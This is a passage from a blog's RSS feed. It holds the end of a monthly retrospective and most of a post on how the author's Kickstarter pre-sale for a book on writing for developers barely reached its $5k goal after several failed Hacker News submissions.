&lt;p>At some point, I&amp;rsquo;ll probably email recent users to announce sunsetting the project and let them export their data.&lt;/p>
&lt;h2 id="interesting-links">Interesting links&lt;/h2>
&lt;ul>
&lt;li>&lt;a href="https://maxrozen.com/on-four-years-running-saas-competitive-market">Four years of running a SaaS in a competitive market&lt;/a> - This is one of the best blog posts I&amp;rsquo;ve ever read about building a bootstrapped company. I &lt;a href="https://news.ycombinator.com/item?id=43581755">agree with&lt;/a> almost all the lessons Max shares. Everything rings true for me based on my experience as a bootstrapped founder.&lt;/li>
&lt;/ul>
&lt;h2 id="wrap-up">Wrap up&lt;/h2>
&lt;h3 id="what-got-done">What got done?&lt;/h3>
&lt;ul>
&lt;li>Published &lt;a href="https://mtlynch.io/no-longer-my-favorite-git-commit/">&amp;ldquo;No Longer My Favorite Git Commit&amp;rdquo;&lt;/a>&lt;/li>
&lt;li>Published &lt;a href="https://refactoringenglish.com/chapters/write-blog-posts-developers-read/">&amp;ldquo;How to Write Blog Posts that Developers Read&amp;rdquo;&lt;/a>&lt;/li>
&lt;li>Published &lt;a href="https://mtlynch.io/book-pre-sale-just-barely-succeeded/">&amp;ldquo;My Book&amp;rsquo;s Pre-Sale Just Barely Succeeded&amp;rdquo;&lt;/a>&lt;/li>
&lt;li>Released &lt;a href="https://refactoringenglish.com/tools/hn-popularity/">Hacker News Popularity Contest&lt;/a> as a marketing tool for the book&lt;/li>
&lt;/ul>
&lt;h3 id="goals-for-next-month">Goals for next month&lt;/h3>
&lt;ul>
&lt;li>Write a blog post about lessons from Kickstarter.&lt;/li>
&lt;li>Complete a new book chapter or teach a live session about a topic from the book.&lt;/li>
&lt;li>Coordinate rewards with all the Kickstarter backers who opted for a public thanks or editorial help with a blog post.&lt;/li>
&lt;/ul>
&lt;h3 id="requests-for-help">Requests for help&lt;/h3>
&lt;p>If you have experience publishing a book in a markup language (i.e., not Word or Google Docs), tell me about your experience.&lt;/p>
&lt;script src="script.js">&lt;/script></content:encoded></item><item><title>My Book's Pre-Sale Just Barely Succeeded</title><link>https://mtlynch.io/book-pre-sale-just-barely-succeeded/</link><pubDate>Mon, 31 Mar 2025 00:00:00 +0000</pubDate><guid>https://mtlynch.io/book-pre-sale-just-barely-succeeded/</guid><description>&lt;p>For the past few months, I&amp;rsquo;ve been working on a book called &lt;a href="https://refactoringenglish.com">&lt;em>Refactoring English: Effective Writing for Software Developers&lt;/em>&lt;/a>.&lt;/p>
&lt;p>I didn&amp;rsquo;t want to spend a year writing the book only to find out that nobody wanted to buy it, so at the beginning of March, I ran a one-month pre-sale on Kickstarter. I structured the project so that if I didn&amp;rsquo;t hit $5k in pre-orders, the project would be canceled, and I&amp;rsquo;d walk away with nothing.&lt;/p></description><content:encoded>&lt;p>For the past few months, I&amp;rsquo;ve been working on a book called &lt;a href="https://refactoringenglish.com">&lt;em>Refactoring English: Effective Writing for Software Developers&lt;/em>&lt;/a>.&lt;/p>
&lt;p>I didn&amp;rsquo;t want to spend a year writing the book only to find out that nobody wanted to buy it, so at the beginning of March, I ran a one-month pre-sale on Kickstarter. I structured the project so that if I didn&amp;rsquo;t hit $5k in pre-orders, the project would be canceled, and I&amp;rsquo;d walk away with nothing.&lt;/p>
&lt;p>Over the weekend, I hit my goal. As of this writing, I&amp;rsquo;ve reached $6,000 in pre-orders from 174 customers with eight hours remaining in the sale.&lt;/p>













 








 
 
 

 
 
 

 
 
 





&lt;div class="img" style="max-width: 942px">



 &lt;a href="https://mtlynch.io/book-pre-sale-just-barely-succeeded/kickstarter-prog.webp">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 942px, 98vw"
 srcset='https://mtlynch.io/book-pre-sale-just-barely-succeeded/kickstarter-prog_hu_5f9356b6f8531898.webp 300w, https://mtlynch.io/book-pre-sale-just-barely-succeeded/kickstarter-prog_hu_f77c5a8b5715bd13.webp 600w, https://mtlynch.io/book-pre-sale-just-barely-succeeded/kickstarter-prog_hu_9c778b40c84aed67.webp 800w, https://mtlynch.io/book-pre-sale-just-barely-succeeded/kickstarter-prog.webp 940w'
 src="https://mtlynch.io/book-pre-sale-just-barely-succeeded/kickstarter-prog.webp" alt="" loading="lazy"/>
 &lt;/a>



&lt;/div>


&lt;p>To the casual observer, it looks like I hit my goal comfortably.&lt;/p>
&lt;p>In reality, for most of the month, I thought the book had failed, and I felt embarrassed about how poorly the pre-sale had gone.&lt;/p>
&lt;p>Here&amp;rsquo;s what pre-orders looked like just four days ago:&lt;/p>













 








 
 
 

 
 
 






&lt;div class="img" style="max-width: 623px">



 &lt;a href="https://mtlynch.io/book-pre-sale-just-barely-succeeded/progress-26th.webp">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 623px, 98vw"
 srcset='https://mtlynch.io/book-pre-sale-just-barely-succeeded/progress-26th_hu_808fb81b449287c9.webp 300w, https://mtlynch.io/book-pre-sale-just-barely-succeeded/progress-26th_hu_7bc1bc4cafd2cd1d.webp 600w, https://mtlynch.io/book-pre-sale-just-barely-succeeded/progress-26th.webp 621w'
 src="https://mtlynch.io/book-pre-sale-just-barely-succeeded/progress-26th.webp" alt="" loading="lazy"/>
 &lt;/a>



&lt;/div>


&lt;p>Sales had long since plateaued. I&amp;rsquo;d already exhausted every idea I had for finding customers, and I was still $2,000 from my goal.&lt;/p>
&lt;p>The thing that saved me was a lucky post on Hacker News.&lt;/p>













 








 
 
 

 
 
 

 
 
 





&lt;div class="img" style="max-width: 1061px">



 &lt;a href="https://mtlynch.io/book-pre-sale-just-barely-succeeded/hn-recovery.webp">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 1061px, 98vw"
 srcset='https://mtlynch.io/book-pre-sale-just-barely-succeeded/hn-recovery_hu_4df1b5b8ede98dda.webp 300w, https://mtlynch.io/book-pre-sale-just-barely-succeeded/hn-recovery_hu_c7b12eac62715a64.webp 600w, https://mtlynch.io/book-pre-sale-just-barely-succeeded/hn-recovery_hu_b346a16a81507926.webp 800w, https://mtlynch.io/book-pre-sale-just-barely-succeeded/hn-recovery.webp 1059w'
 src="https://mtlynch.io/book-pre-sale-just-barely-succeeded/hn-recovery.webp" alt="" loading="lazy"/>
 &lt;/a>



&lt;/div>


&lt;h2 id="before-the-pre-sale">Before the pre-sale&lt;/h2>
&lt;p>I started working on &lt;em>Refactoring English&lt;/em> back in 2021. As soon as I started, my main business grew unexpectedly, and I spent so much time managing my company that I &lt;a href="https://mtlynch.io/bootstrapped-founder-year-4/#refactoring-english">never had time to work on the book&lt;/a>.&lt;/p>
&lt;p>Until 2025, all I had of the book was a rough table of contents and a signup form for email updates about the book.&lt;/p>













 








 
 
 

 
 
 

 
 
 

 
 
 




&lt;figure class="img" style="max-width: 500px">



 &lt;a href="https://mtlynch.io/book-pre-sale-just-barely-succeeded/book-website-original.webp">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 500px, 98vw"
 srcset='https://mtlynch.io/book-pre-sale-just-barely-succeeded/book-website-original_hu_e29b165ef4179045.webp 300w, https://mtlynch.io/book-pre-sale-just-barely-succeeded/book-website-original_hu_4d4b7504cfe9ad25.webp 600w, https://mtlynch.io/book-pre-sale-just-barely-succeeded/book-website-original_hu_63a99aa69e4872d1.webp 800w, https://mtlynch.io/book-pre-sale-just-barely-succeeded/book-website-original_hu_ef2d41e01d2e3bd4.webp 1200w, https://mtlynch.io/book-pre-sale-just-barely-succeeded/book-website-original.webp 1619w'
 src="https://mtlynch.io/book-pre-sale-just-barely-succeeded/book-website-original.webp" alt="" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>Between 2021 and 2024, my book was &lt;a href="https://web.archive.org/web/20211125050655/https://refactoringenglish.com/">just a website&lt;/a> with a rough table of contents and a signup form.&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;p>This year, I started working on the book again, and I published a couple of &lt;a href="https://refactoringenglish.com/chapters">sample chapters&lt;/a>. I heard positive feedback from readers, but I wasn&amp;rsquo;t sure if any developers would pay to read a book about improving their writing skills.&lt;/p>
&lt;p>At the beginning of March, I decided the best way to see if this book was worth writing would be to do a one-month pre-sale of the book. I created &lt;a href="https://www.kickstarter.com/projects/mtlynch/refactoring-english">a Kickstarter project&lt;/a> for the book and let people pre-order the book for $25.&lt;/p>
&lt;p>I set the project goal at $5k. I figured that would mean about 150 pre-orders plus some generous readers signing up for premium tiers to support the project.&lt;/p>
&lt;h2 id="my-underwhelming-first-blog-post">My underwhelming first blog post&lt;/h2>
&lt;p>I wanted to launch the pre-orders on Kickstarter right after I published a new sample chapter as a blog post. I hoped the blog post would be popular, and then readers would get to the end of the post and see that I&amp;rsquo;m working on a book and think, &amp;ldquo;I like this guy&amp;rsquo;s ideas so much that I&amp;rsquo;d pay $25 for more of them.&amp;rdquo;&lt;/p>
&lt;p>So I published &lt;a href="https://refactoringenglish.com/chapters/commit-messages/">&amp;ldquo;How to Write Useful Commit Messages&amp;rdquo;&lt;/a> and put a little self-ad at the bottom for the pre-sale on Kickstarter:&lt;/p>













 








 
 
 

 
 
 

 
 
 





&lt;figure class="img" style="max-width: 500px">



 &lt;a href="https://mtlynch.io/book-pre-sale-just-barely-succeeded/self-ad.webp">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 500px, 98vw"
 srcset='https://mtlynch.io/book-pre-sale-just-barely-succeeded/self-ad_hu_5333eb8b21ce1f3a.webp 300w, https://mtlynch.io/book-pre-sale-just-barely-succeeded/self-ad_hu_37763e764d3e6f6.webp 600w, https://mtlynch.io/book-pre-sale-just-barely-succeeded/self-ad_hu_13f37585ef4f3c26.webp 800w, https://mtlynch.io/book-pre-sale-just-barely-succeeded/self-ad.webp 802w'
 src="https://mtlynch.io/book-pre-sale-just-barely-succeeded/self-ad.webp" alt="" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>I added self-ads at the bottom of my sample chapters, letting readers know about the pre-sale on Kickstarter.&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;p>I emailed the book&amp;rsquo;s mailing list to share the new chapter and announce the pre-sale on Kickstarter.&lt;/p>
&lt;p>1,100 people had signed up for updates about the book, but when I offered pre-orders, only 49 people ordered. That didn&amp;rsquo;t bode well. Maybe they weren&amp;rsquo;t that interested after all? Or maybe they didn&amp;rsquo;t like what I was writing?&lt;/p>













 








 
 
 

 
 
 

 
 
 





&lt;figure class="img" style="max-width: 700px">



 &lt;a href="https://mtlynch.io/book-pre-sale-just-barely-succeeded/ks-dashboard.webp">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 700px, 98vw"
 srcset='https://mtlynch.io/book-pre-sale-just-barely-succeeded/ks-dashboard_hu_71941106f15044c1.webp 300w, https://mtlynch.io/book-pre-sale-just-barely-succeeded/ks-dashboard_hu_9f96f11d6284e52e.webp 600w, https://mtlynch.io/book-pre-sale-just-barely-succeeded/ks-dashboard_hu_603a91f4d72e2f05.webp 800w, https://mtlynch.io/book-pre-sale-just-barely-succeeded/ks-dashboard.webp 1098w'
 src="https://mtlynch.io/book-pre-sale-just-barely-succeeded/ks-dashboard.webp" alt="" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>After a week, 49 customers had pre-ordered &lt;em>Refactoring English&lt;/em>, though this was lower than I expected given the 1,100 mailing list subscribers.&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;p>But that was okay. I still had other ideas for marketing my book.&lt;/p>
&lt;h2 id="my-secret-weapon">My secret weapon&lt;/h2>
&lt;p>Even though my book&amp;rsquo;s pre-sale started slower than I&amp;rsquo;d hoped, I secretly had an ace up my sleeve.&lt;/p>
&lt;p>A month earlier, I&amp;rsquo;d written a blog post called &lt;a href="https://mtlynch.io/bootstrapped-founder-year-7/">&amp;ldquo;My Seventh Year as a Bootstrapped Founder.&amp;rdquo;&lt;/a> I &lt;a href="https://news.ycombinator.com/item?id=42932492">submitted it to Hacker News&lt;/a>, and it immediately shot to the #1 position on the front page. It had 45 upvotes and was growing quickly.&lt;/p>
&lt;p>Sadly, within minutes, the Hacker News moderators removed my post.&lt;/p>
&lt;p>I reached out to the Hacker News moderators, and they explained that I had submitted my annual retrospective too soon after my previous post, &lt;a href="https://mtlynch.io/lessons-from-my-first-exit/">&amp;ldquo;Lessons from my First Exit.&amp;rdquo;&lt;/a> They felt like the content was too similar, but I was welcome to try again after there had been two or three months of distance from the previous post.&lt;/p>
&lt;p>The moderator&amp;rsquo;s decision was a bit odd because the two posts don&amp;rsquo;t overlap much, and it had &lt;em>already&lt;/em> been two months between posts. But I find Hacker News moderation extremely fair overall, so I figured I&amp;rsquo;d just wait a month.&lt;/p>
&lt;p>So, now, the moderators removing my post actually worked in my favor. I had a post that I knew would succeed on Hacker News, and I could submit it during the pre-sale for my book to attract readers interested in pre-ordering.&lt;/p>
&lt;p>I submitted my annual retrospective to Hacker News again, but, this time, it barely made a blip. It got a paltry two upvotes:&lt;/p>













 








 
 
 







&lt;div class="img" style="max-width: 428px">



 &lt;a href="https://mtlynch.io/book-pre-sale-just-barely-succeeded/annual-retro-hn.webp">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 428px, 98vw"
 srcset='https://mtlynch.io/book-pre-sale-just-barely-succeeded/annual-retro-hn_hu_509c63397abc499f.webp 300w, https://mtlynch.io/book-pre-sale-just-barely-succeeded/annual-retro-hn.webp 426w'
 src="https://mtlynch.io/book-pre-sale-just-barely-succeeded/annual-retro-hn.webp" alt="" loading="lazy"/>
 &lt;/a>



&lt;/div>


&lt;p>I tried again on a weekend, as there&amp;rsquo;s less competition outside of the work week, and it did even worse:&lt;/p>













 








 
 
 







&lt;div class="img" style="max-width: 402px">



 &lt;a href="https://mtlynch.io/book-pre-sale-just-barely-succeeded/annual-retro-hn2.webp">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 402px, 98vw"
 srcset='https://mtlynch.io/book-pre-sale-just-barely-succeeded/annual-retro-hn2_hu_be1975337d8d6394.webp 300w, https://mtlynch.io/book-pre-sale-just-barely-succeeded/annual-retro-hn2.webp 400w'
 src="https://mtlynch.io/book-pre-sale-just-barely-succeeded/annual-retro-hn2.webp" alt="" loading="lazy"/>
 &lt;/a>



&lt;/div>


&lt;p>How could Hacker News love this post so much in February and then completely ignore it a few weeks later?&lt;/p>
&lt;h2 id="no-longer-my-favorite-git-commit">No longer my favorite git commit&lt;/h2>
&lt;p>But I had another idea. There was a 2019 blog post called &lt;a href="https://dhwthompson.com/2019/my-favourite-git-commit">&amp;ldquo;My Favourite Git Commit&amp;rdquo;&lt;/a> that was popular on &lt;a href="https://news.ycombinator.com/item?id=21289827">Hacker News&lt;/a> and &lt;a href="https://www.reddit.com/r/programming/comments/djnp8k/my_favourite_git_commit/">the /r/programming subreddit&lt;/a>. While I was writing &amp;ldquo;How to Write Useful Commit Messages,&amp;rdquo; I had an insight about that post that hadn&amp;rsquo;t been part of the conversation before, so I thought that would make a good blog post.&lt;/p>
&lt;p>I wrote a new blog post called &lt;a href="https://mtlynch.io/no-longer-my-favorite-git-commit/">&amp;ldquo;No Longer My Favorite Git Commit&amp;rdquo;&lt;/a> and submitted it to Hacker News, but it flopped too.&lt;/p>













 








 
 
 







&lt;div class="img" style="max-width: 367px">



 &lt;a href="https://mtlynch.io/book-pre-sale-just-barely-succeeded/no-longer-my-favorite-hn.webp">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 367px, 98vw"
 srcset='https://mtlynch.io/book-pre-sale-just-barely-succeeded/no-longer-my-favorite-hn_hu_14ed301d958f8aa6.webp 300w, https://mtlynch.io/book-pre-sale-just-barely-succeeded/no-longer-my-favorite-hn.webp 365w'
 src="https://mtlynch.io/book-pre-sale-just-barely-succeeded/no-longer-my-favorite-hn.webp" alt="" loading="lazy"/>
 &lt;/a>



&lt;/div>


&lt;p>I was growing concerned, as Hacker News usually has a better response to my writing, and I now had two consecutive flops. Still, I was hopeful that I could get something to land by the end of the month.&lt;/p>
&lt;h2 id="unsuccessfully-begging-for-sponsorships-from-companies">Unsuccessfully begging for sponsorships from companies&lt;/h2>
&lt;p>There are companies like &lt;a href="https://www.digitalocean.com/">Digital Ocean&lt;/a> and &lt;a href="https://logrocket.com/">LogRocket&lt;/a> that invest a lot into writing high-quality blog posts for developers, so I was curious to see if they&amp;rsquo;d sponsor my book, as it&amp;rsquo;s about high-quality writing for developers.&lt;/p>
&lt;p>I &lt;a href="https://mtlynch.io/retrospectives/2025/03/#fundraising-how-its-going-so-far">had the sponsorship idea&lt;/a> from the start of the pre-sale, but I wanted to approach potential sponsors with some momentum behind me. I thought I&amp;rsquo;d approach companies right after a super popular blog post and show them how many readers would see their logo.&lt;/p>
&lt;p>With only 10 days left in the sale, I hadn&amp;rsquo;t had any hit posts, and my pre-sale had clearly stalled. I felt like my pitch came across like begging for pity or a bailout.&lt;/p>
&lt;p>I reached out to ten companies, and here were the results:&lt;/p>
&lt;ul>
&lt;li>One offered $1k to buy a page in the book&amp;rsquo;s acknowledgments section and a banner ad on the website.
&lt;ul>
&lt;li>I asked whether they&amp;rsquo;d be open to something time-limited, as I didn&amp;rsquo;t want a &amp;ldquo;forever&amp;rdquo; obligation, and they stopped responding.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>One was interested but then stopped responding when they realized I wanted them to purchase the sponsorship through Kickstarter.&lt;/li>
&lt;li>One gave a quick, polite &amp;ldquo;no.&amp;rdquo;&lt;/li>
&lt;li>Seven (the rest) never responded.&lt;/li>
&lt;/ul>
&lt;h2 id="what-if-i-outright-pander-to-hacker-news">What if I outright pander to Hacker News?&lt;/h2>
&lt;p>Last summer, I was curious who the most popular personal bloggers were on Hacker News, so I wrote some ugly Python scripts to crunch the data and show me the rankings. After another 5-10 hours of work, I polished my tool into a usable web app to promote my book.&lt;/p>













 








 
 
 

 
 
 

 
 
 

 
 
 




&lt;figure class="img" style="max-width: 800px">



 &lt;a href="https://mtlynch.io/book-pre-sale-just-barely-succeeded/popularity-contest.webp">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 800px, 98vw"
 srcset='https://mtlynch.io/book-pre-sale-just-barely-succeeded/popularity-contest_hu_3be3150108d06d9b.webp 300w, https://mtlynch.io/book-pre-sale-just-barely-succeeded/popularity-contest_hu_7afd1e4252650ea0.webp 600w, https://mtlynch.io/book-pre-sale-just-barely-succeeded/popularity-contest_hu_47405f0cabec78b1.webp 800w, https://mtlynch.io/book-pre-sale-just-barely-succeeded/popularity-contest_hu_bb0b56515c8bbeba.webp 1200w, https://mtlynch.io/book-pre-sale-just-barely-succeeded/popularity-contest.webp 1304w'
 src="https://mtlynch.io/book-pre-sale-just-barely-succeeded/popularity-contest.webp" alt="" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>A tool I created to promote the book&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;p>I was extremely confident this tool would be a hit on Hacker News.&lt;/p>
&lt;p>Hacker News loves analyses of Hacker News itself, and they generally have a fondness for personal blogs. The tool also qualified for &lt;a href="https://news.ycombinator.com/show">Show HN&lt;/a>, the special category for showing off things you built yourself, which gets a special advantage in reaching the front page.&lt;/p>
&lt;p>As always, there are never guarantees on Hacker News, but I&amp;rsquo;ve never been more confident in a post reaching the top 10.&lt;/p>
&lt;p>It didn&amp;rsquo;t reach the top 10.&lt;/p>
&lt;p>It barely even appeared on the front page at all.&lt;/p>













 








 
 
 

 
 
 






&lt;div class="img" style="max-width: 653px">



 &lt;a href="https://mtlynch.io/book-pre-sale-just-barely-succeeded/pop-cont.webp">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 653px, 98vw"
 srcset='https://mtlynch.io/book-pre-sale-just-barely-succeeded/pop-cont_hu_b1f1d4f4d747c50c.webp 300w, https://mtlynch.io/book-pre-sale-just-barely-succeeded/pop-cont_hu_ef677047c5e9e6df.webp 600w, https://mtlynch.io/book-pre-sale-just-barely-succeeded/pop-cont.webp 651w'
 src="https://mtlynch.io/book-pre-sale-just-barely-succeeded/pop-cont.webp" alt="" loading="lazy"/>
 &lt;/a>



&lt;/div>


&lt;h2 id="finally-a-bit-of-hacker-news-success">Finally, a bit of Hacker News success&lt;/h2>
&lt;p>A few days later, I was browsing Hacker News and saw a post called &amp;ldquo;The highest-ranking personal blogs of Hacker News.&amp;rdquo;&lt;/p>













 








 
 
 







&lt;div class="img" style="max-width: 368px">



 &lt;a href="https://mtlynch.io/book-pre-sale-just-barely-succeeded/other-submit.webp">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 368px, 98vw"
 srcset='https://mtlynch.io/book-pre-sale-just-barely-succeeded/other-submit_hu_e2087a40e1fe3f8a.webp 300w, https://mtlynch.io/book-pre-sale-just-barely-succeeded/other-submit.webp 366w'
 src="https://mtlynch.io/book-pre-sale-just-barely-succeeded/other-submit.webp" alt="" loading="lazy"/>
 &lt;/a>



&lt;/div>


&lt;p>What?!?&lt;/p>
&lt;p>Someone had stolen my idea!&lt;/p>
&lt;p>Oh, wait. It was a link to my site.&lt;/p>













 








 
 
 







&lt;div class="img" style="max-width: 560px">



 &lt;a href="https://mtlynch.io/book-pre-sale-just-barely-succeeded/my-site.webp">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 560px, 98vw"
 srcset='https://mtlynch.io/book-pre-sale-just-barely-succeeded/my-site_hu_51f7f1acdcf9bed6.webp 300w, https://mtlynch.io/book-pre-sale-just-barely-succeeded/my-site.webp 558w'
 src="https://mtlynch.io/book-pre-sale-just-barely-succeeded/my-site.webp" alt="" loading="lazy"/>
 &lt;/a>



&lt;/div>


&lt;p>Another Hacker News user had just submitted my tool (nothing wrong with that). For whatever reason, their submission caught on even though my previous attempt failed. My guess is that it was better without the &amp;ldquo;Popularity Contest&amp;rdquo; title.&lt;/p>
&lt;p>But, finally, I was on the front page! From there, it got the attention of &lt;a href="https://en.wikipedia.org/wiki/John_Gruber">John Gruber&lt;/a> (co-inventor of Markdown), who wrote a &lt;a href="https://daringfireball.net/2025/03/the_website_hacker_news_is_afraid_to_discuss">blog post about my tool&lt;/a>.&lt;/p>
&lt;p>In two days, 20k people had visited the &lt;em>Refactoring English&lt;/em> website to try out my tool.&lt;/p>













 








 
 
 

 
 
 

 
 
 





&lt;div class="img" style="max-width: 994px">



 &lt;a href="https://mtlynch.io/book-pre-sale-just-barely-succeeded/first-frontpage-plausible.webp">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 994px, 98vw"
 srcset='https://mtlynch.io/book-pre-sale-just-barely-succeeded/first-frontpage-plausible_hu_1a81c9be02384b9d.webp 300w, https://mtlynch.io/book-pre-sale-just-barely-succeeded/first-frontpage-plausible_hu_68d7520c12b4af69.webp 600w, https://mtlynch.io/book-pre-sale-just-barely-succeeded/first-frontpage-plausible_hu_4ea6325f45d24411.webp 800w, https://mtlynch.io/book-pre-sale-just-barely-succeeded/first-frontpage-plausible.webp 992w'
 src="https://mtlynch.io/book-pre-sale-just-barely-succeeded/first-frontpage-plausible.webp" alt="" loading="lazy"/>
 &lt;/a>



&lt;/div>


&lt;p>I checked out how Kickstarter was doing: virtually no change.&lt;/p>













 








 
 
 

 
 
 






&lt;div class="img" style="max-width: 629px">



 &lt;a href="https://mtlynch.io/book-pre-sale-just-barely-succeeded/first-frontpage-kickstarter.webp">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 629px, 98vw"
 srcset='https://mtlynch.io/book-pre-sale-just-barely-succeeded/first-frontpage-kickstarter_hu_f26d2174646ff4ae.webp 300w, https://mtlynch.io/book-pre-sale-just-barely-succeeded/first-frontpage-kickstarter_hu_7e6b328d4d8117be.webp 600w, https://mtlynch.io/book-pre-sale-just-barely-succeeded/first-frontpage-kickstarter.webp 627w'
 src="https://mtlynch.io/book-pre-sale-just-barely-succeeded/first-frontpage-kickstarter.webp" alt="" loading="lazy"/>
 &lt;/a>



&lt;/div>


&lt;p>Between the day the tool was on Hacker News and the next day when John Gruber blogged about my tool, there were only four sales for a total of $100. The pre-orders were indistinguishable from days I wasn&amp;rsquo;t on the front page at all.&lt;/p>
&lt;p>So, that was yet another bad sign.&lt;/p>
&lt;p>I got my book in front of my target audience, and none of them were interested in buying the book.&lt;/p>
&lt;h2 id="the-miraculous-comeback">The miraculous comeback&lt;/h2>
&lt;p>By this point, there were only five days left in the pre-sale, and I had only raised 60% of my $5k pre-sale goal.&lt;/p>
&lt;p>I thought for sure my book was a failure. I was already debating between scrapping the project entirely or pivoting to a less ambitious book that I could finish in just a few more weeks of work.&lt;/p>
&lt;p>I had one last hope: &lt;a href="https://refactoringenglish.com/chapters/write-blog-posts-developers-read/">a sample chapter about blogging&lt;/a>. I&amp;rsquo;d been working on it for the past few weeks, and it was the last chapter I had time to finish by the end of the month.&lt;/p>
&lt;p>The problem with writing about blogging is that there&amp;rsquo;s so much low-quality, spammy advice that readers are skeptical, and a lot of the communities where you&amp;rsquo;d want to share your article have strict rules against self-promotion.&lt;/p>
&lt;p>That&amp;rsquo;s why I was unsurprised when I &lt;a href="https://www.reddit.com/r/programming/comments/1jl3wgw/how_to_write_blog_posts_that_developers_read/">posted the chapter to reddit&lt;/a>, and users downvoted it to zero. The &lt;a href="https://www.reddit.com/r/programming/comments/1jl3wgw/how_to_write_blog_posts_that_developers_read/mk0elxt/">top comment&lt;/a> was someone complaining about the topic itself:&lt;/p>













 








 
 
 

 
 
 






&lt;div class="img" style="max-width: 734px">



 &lt;a href="https://mtlynch.io/book-pre-sale-just-barely-succeeded/top-reddit-comment.webp">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 734px, 98vw"
 srcset='https://mtlynch.io/book-pre-sale-just-barely-succeeded/top-reddit-comment_hu_b0c85960c2eb36ae.webp 300w, https://mtlynch.io/book-pre-sale-just-barely-succeeded/top-reddit-comment_hu_13e85753302ef7a5.webp 600w, https://mtlynch.io/book-pre-sale-just-barely-succeeded/top-reddit-comment.webp 732w'
 src="https://mtlynch.io/book-pre-sale-just-barely-succeeded/top-reddit-comment.webp" alt="" loading="lazy"/>
 &lt;/a>



&lt;/div>


&lt;p>I submitted the chapter to Hacker News, and it slowly accrued a few upvotes and comments but never got enough momentum to hit the front page.&lt;/p>













 








 
 
 







&lt;div class="img" style="max-width: 467px">



 &lt;a href="https://mtlynch.io/book-pre-sale-just-barely-succeeded/hn-blog-posts.webp">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 467px, 98vw"
 srcset='https://mtlynch.io/book-pre-sale-just-barely-succeeded/hn-blog-posts_hu_cee9b71f8cf1db1a.webp 300w, https://mtlynch.io/book-pre-sale-just-barely-succeeded/hn-blog-posts.webp 465w'
 src="https://mtlynch.io/book-pre-sale-just-barely-succeeded/hn-blog-posts.webp" alt="" loading="lazy"/>
 &lt;/a>



&lt;/div>


&lt;p>Because my &amp;ldquo;Popularity Contest&amp;rdquo; tool performed so much better with a different title, I tried submitting it the next day with the title, &amp;ldquo;What I Learned from Nine Years of Blogging.&amp;rdquo; Hacker News immediately marked it as a duplicate.&lt;/p>
&lt;p>Huh? Usually, you can resubmit a failed post a day later, and it doesn&amp;rsquo;t count as a duplicate.&lt;/p>
&lt;p>And then I looked on the front page, and my post was there! Another user had posted it on my behalf, and it had reached the #11 spot.&lt;/p>













 








 
 
 

 
 
 

 
 
 





&lt;div class="img" style="max-width: 700px">



 &lt;a href="https://mtlynch.io/book-pre-sale-just-barely-succeeded/hn-11th-slot.webp">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 700px, 98vw"
 srcset='https://mtlynch.io/book-pre-sale-just-barely-succeeded/hn-11th-slot_hu_512052ee51321cb3.webp 300w, https://mtlynch.io/book-pre-sale-just-barely-succeeded/hn-11th-slot_hu_f12e3546a2732811.webp 600w, https://mtlynch.io/book-pre-sale-just-barely-succeeded/hn-11th-slot_hu_e59a5895b7e502db.webp 800w, https://mtlynch.io/book-pre-sale-just-barely-succeeded/hn-11th-slot.webp 826w'
 src="https://mtlynch.io/book-pre-sale-just-barely-succeeded/hn-11th-slot.webp" alt="" loading="lazy"/>
 &lt;/a>



&lt;/div>


&lt;p>And this time, readers were interested in the book. Within a few hours, there were $1,000 in new pre-orders. The chapter continued getting positive reactions on Hacker News, eventually reaching 581 upvotes and 154 comments:&lt;/p>













 








 
 
 







&lt;div class="img" style="max-width: 471px">



 &lt;a href="https://mtlynch.io/book-pre-sale-just-barely-succeeded/final-hn-score.webp">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 471px, 98vw"
 srcset='https://mtlynch.io/book-pre-sale-just-barely-succeeded/final-hn-score_hu_4f32f623293dec8e.webp 300w, https://mtlynch.io/book-pre-sale-just-barely-succeeded/final-hn-score.webp 469w'
 src="https://mtlynch.io/book-pre-sale-just-barely-succeeded/final-hn-score.webp" alt="" loading="lazy"/>
 &lt;/a>



&lt;/div>


&lt;p>When I went to bed that night, the Kickstarter was less than $300 from its $5k goal with three days left.&lt;/p>
&lt;p>When I woke up Saturday morning, I had reached my goal, and people continued pre-ordering.&lt;/p>













 








 
 
 

 
 
 

 
 
 





&lt;div class="img" style="max-width: 650px">



 &lt;a href="https://mtlynch.io/book-pre-sale-just-barely-succeeded/hn-recovery.webp">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 650px, 98vw"
 srcset='https://mtlynch.io/book-pre-sale-just-barely-succeeded/hn-recovery_hu_4df1b5b8ede98dda.webp 300w, https://mtlynch.io/book-pre-sale-just-barely-succeeded/hn-recovery_hu_c7b12eac62715a64.webp 600w, https://mtlynch.io/book-pre-sale-just-barely-succeeded/hn-recovery_hu_b346a16a81507926.webp 800w, https://mtlynch.io/book-pre-sale-just-barely-succeeded/hn-recovery.webp 1059w'
 src="https://mtlynch.io/book-pre-sale-just-barely-succeeded/hn-recovery.webp" alt="" loading="lazy"/>
 &lt;/a>



&lt;/div>


